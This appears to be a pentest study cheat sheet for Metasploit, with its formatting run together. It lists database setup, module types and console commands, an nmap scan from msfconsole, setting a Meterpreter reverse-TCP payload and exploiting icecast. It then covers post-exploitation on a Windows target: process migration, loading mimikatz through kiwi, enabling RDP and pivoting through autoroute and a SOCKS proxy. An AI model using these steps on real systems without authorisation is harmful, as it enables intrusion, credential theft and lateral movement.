Initializing
msfdb init
- initialize database.Msfconsole
supports only postgresql databases.msfconsole -q
- quietly launchmsfconsole
without banner.db_status
- check database connectivity frommsfconsole
Framework architecture
- Modules (exploit, payload, encoder, nop, auxiliary)
- Libraries (msf base, msf core, rex)
- Tools
- Plugins
- Interfaces (console, cli, rpc, gui & armitage)
Commands
search
- search for modulesuse
- use the moduleinfo
- view info on moduleconnect
- netcat like command to check host connectivityset
- change value of variablesetg
- change value of variable globallyget
- view value of variableunset
- set null/no value to variablespool
- write console output into a file as well the screensave
- store the settings/active datastores to a settings file
Modules
exploit
- most common module utilized, which holds all of the exploit codepayload
- module used hand in hand with exploits, contains the various bits of shellcodeauxiliary
- module commonly used in scanning and verification to see if machines are exploitablepost
- provides looting and pivoting after exploitationencoder
- module commonly utilized in payload obfuscation, to modify theappearance
of exploit and avoid signature detectionnop
- module used with buffer overflow and ROP attacksload
- load different module
Command examples and Navigation
db_nmap -Pn -T4 -sS -sV --top_ports 1000 <ip>
- nmap scan withinmsfconsole
terminalhosts
- host information gatheredservices
- service infomation gatheredvulns
- vulnerability information gatheredsearch multi/handler
- search for modulemulti/handler
use 6
- use6
th result from searchset PAYLOAD windows/meterpreter/reverse_tcp
- set payload as meterpreter reverse tcpuse icecast
- useicecast
payload, if no payload configured for use inicecast
,windows/meterpreter/reverse_tcp
will be usedoptions
- check currently set variables for use in exploitexploit
- start exploit and gain shell,meterpreter
shell if defaultsessions
- get existing backgrounded sessionsjobs
- get existing backgrounded job runs
Post-exploitation
The following commands are used in meterpreter
shell across a windows
target.
sessions -u 1
- upgrade session 1 to meterpreter shellps
- list running processesmigrate <pid>
- migrate from exploited process to another running processgetuid
- get current usernamesysinfo
- system informationgetprivs
- get current privilegesipconfig
- get ip informationload kiwi
- load latest version of mimikatz extensionupload test c:\user\test\desktop
- upload filerun post/windows/gather/checkvm
- run post script to check if target is a VMrun post/multi/recon/local_exploit_suggester
- run post script to check suggested exploitsrun post/windows/manage/enable_rdp
- run post script to try to enable rdpshell
- spawn a shell to interact with target internallybg
- background the meterpreter shell
Network options
run autoroute -h
- run post script on how to use autoroute to configure target networkingsearch server/socks
- search available socks moduleuse server/socks5
- initiate a socks proxy server from meterpreter terminal